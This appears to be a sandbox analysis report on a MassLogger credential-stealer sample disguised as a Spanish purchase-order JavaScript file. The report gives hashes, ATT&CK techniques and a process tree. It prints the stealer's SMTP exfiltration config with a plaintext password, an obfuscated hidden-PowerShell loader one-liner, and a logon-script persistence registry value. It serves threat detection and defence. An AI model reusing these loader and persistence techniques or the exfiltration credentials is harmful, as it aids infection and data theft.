masslogger | dd55cbafbf914c8bb7eee34acfc65876d96b21de2ba8f320737cf8d280a347e6

Analysis

max time kernel
148s
max time network
143s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
04/08/2026, 15:36

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
confirmar la orden de compra.js
Size 1004KB
Sample260804-s154rada57
SHA256 dd55cbafbf914c8bb7eee34acfc65876d96b21de2ba8f320737cf8d280a347e6
MD5 20945449fd11203d79ea5d0d29bf1e22
SHA1 0017b2e0d74be3c58ab319c29a84de9f3e3bedee
SHA512 59862dcf26788d8a77b3db3511864c82be9bfc3e4f8669997d7733e6b2c5b758cf3957bb4ecdc475977ba7a04ac908afb833c96a02f1edc5848288854c65bf1c
SSDEEP 1536:dlV6it7JxnlD6Im5jSG9wUoOfd0oIEYCK2BUtPfZ+:dlV6iHm5d9wFOP3HqPA
TLSH
T1DA25FADF6BF33A8D2418B71A89F9BD9C1442CC510852A07AAFB41BDAC51D7416F8D3A3
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

collection discovery execution masslogger persistence spyware stealer

Malware Config

Extracted

Credentials

Protocol
smtp
Host
mail.arfat.com.mx
Port
587
Username
[email protected]
Password
Y0GljVS3oFHqlYuS

Extracted

Family

masslogger

Attributes

exfiltration_mode
#SMTPEnabled
expire_time_date
00-00-0000
host_password
Y0GljVS3oFHqlYuS
host_port
587
host_receiver
[email protected]
host_sender
[email protected]
host_server
mail.arfat.com.mx
ssl_slate
False

Signatures

Family: MassLogger
Masslogger is a .NET stealer targeting passwords from browsers, email and cryptocurrency clients.
stealer spyware masslogger

Badlisted process makes network request 5 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
3	5836	powershell.exe
4	5836	powershell.exe
5	5836	powershell.exe
6	5836	powershell.exe
7	5836	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
3	5836	powershell.exe

Registers new Windows logon scripts automatically executed at logon. 1 TTPs 1 IoCs

persistence

Logon Script (Windows)

T1037.001

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Environment\UserInitMprLogonScript = "\"C:\\Windows\\system32\\wscript.exe\" \"C:\\Users\\Admin\\AppData\\Local\\Microsoft\\Windows\\v5674\\v2409.js\""	powershell.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe
Key opened	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe
Key opened	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe

Looks up external IP address via web service 1 TTPs 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
1	checkip.dyndns.org
1	reallyfreegeoip.org
6	reallyfreegeoip.org

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4316	cmd.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
5836	powershell.exe
5836	powershell.exe
5836	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	5836	powershell.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 4452 wrote to memory of 5744	4452	wscript.exe	88
PID 5744 wrote to memory of 1468	5744	conhost.exe	89
PID 1468 wrote to memory of 4316	1468	conhost.exe	90
PID 4316 wrote to memory of 4052	4316	cmd.exe	91
PID 4316 wrote to memory of 5836	4316	cmd.exe	92

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe

C:\Windows\system32\wscript.exe
wscript.exe "C:\Users\Admin\AppData\Local\Temp\confirmar la orden de compra.js"
1⤵
- Suspicious use of WriteProcessMemory
PID:4452
- C:\Windows\System32\conhost.exe
  "C:\Windows\System32\conhost.exe" --headless conhost.exe --headless cmd.exe /c "echo $ExecutionContext.InvokeCommand.InvokeScript([Environment]::GetEnvironmentVariable('e3n8eekSHRH0','Process'))| powershell.exe -w H -Nop -nonI -"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5744
- - C:\Windows\System32\conhost.exe
    conhost.exe --headless cmd.exe /c "echo $ExecutionContext.InvokeCommand.InvokeScript([Environment]::GetEnvironmentVariable('e3n8eekSHRH0','Process'))| powershell.exe -w H -Nop -nonI -"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1468
  - - C:\Windows\System32\cmd.exe
      cmd.exe /c "echo $ExecutionContext.InvokeCommand.InvokeScript([Environment]::GetEnvironmentVariable('e3n8eekSHRH0','Process'))| powershell.exe -w H -Nop -nonI -"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:4316
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo $ExecutionContext.InvokeCommand.InvokeScript([Environment]::GetEnvironmentVariable('e3n8eekSHRH0','Process'))"
        5⤵
        
        PID:4052
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -w H -Nop -nonI -
        5⤵
        Badlisted process makes network request
        Downloads MZ/PE file
        Registers new Windows logon scripts automatically executed at logon.
        Accesses Microsoft Outlook profiles
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        outlook_office_path
        outlook_win_path
        
        PID:5836

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Windows Command Shell

T1059.003

Persistence

Boot or Logon Initialization Scripts

T1037

Logon Script (Windows)

T1037.001

Privilege Escalation

Boot or Logon Initialization Scripts

T1037

Logon Script (Windows)

T1037.001

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/5836-0-0x00007FF9027EF000-0x00007FF9027F0000-memory.dmp

Download

memory/5836-1-0x00007FF902660000-0x00007FF903004000-memory.dmp

Download

memory/5836-4-0x0000021BA7560000-0x0000021BA7582000-memory.dmp

Download

memory/5836-5-0x00007FF902660000-0x00007FF903004000-memory.dmp

Download

memory/5836-6-0x00007FF902660000-0x00007FF903004000-memory.dmp

Download

memory/5836-7-0x00007FF902660000-0x00007FF903004000-memory.dmp

Download

memory/5836-8-0x00007FF902660000-0x00007FF903004000-memory.dmp

Download

memory/5836-9-0x00007FF902660000-0x00007FF903004000-memory.dmp

Download

memory/5836-10-0x00007FF902660000-0x00007FF903004000-memory.dmp

Download

memory/5836-11-0x00007FF902660000-0x00007FF903004000-memory.dmp

Download

memory/5836-12-0x00007FF902660000-0x00007FF903004000-memory.dmp

Download

memory/5836-13-0x00007FF902660000-0x00007FF903004000-memory.dmp

Download

memory/5836-14-0x00007FF902660000-0x00007FF903004000-memory.dmp

Download

memory/5836-15-0x00007FF902660000-0x00007FF903004000-memory.dmp

Download

memory/5836-16-0x00007FF902660000-0x00007FF903004000-memory.dmp

Download

memory/5836-17-0x0000021BBF7B0000-0x0000021BBF800000-memory.dmp

Download

memory/5836-18-0x0000021BA7590000-0x0000021BA75A2000-memory.dmp

Download

memory/5836-21-0x0000021BBF830000-0x0000021BBF84E000-memory.dmp

Download

memory/5836-22-0x0000021BC0700000-0x0000021BC0750000-memory.dmp

Download

memory/5836-23-0x0000021BC0920000-0x0000021BC0AE2000-memory.dmp

Download

memory/5836-25-0x00007FF902660000-0x00007FF903004000-memory.dmp

Download

memory/5836-26-0x00007FF902660000-0x00007FF903004000-memory.dmp

Download

memory/5836-27-0x00007FF902660000-0x00007FF903004000-memory.dmp

Download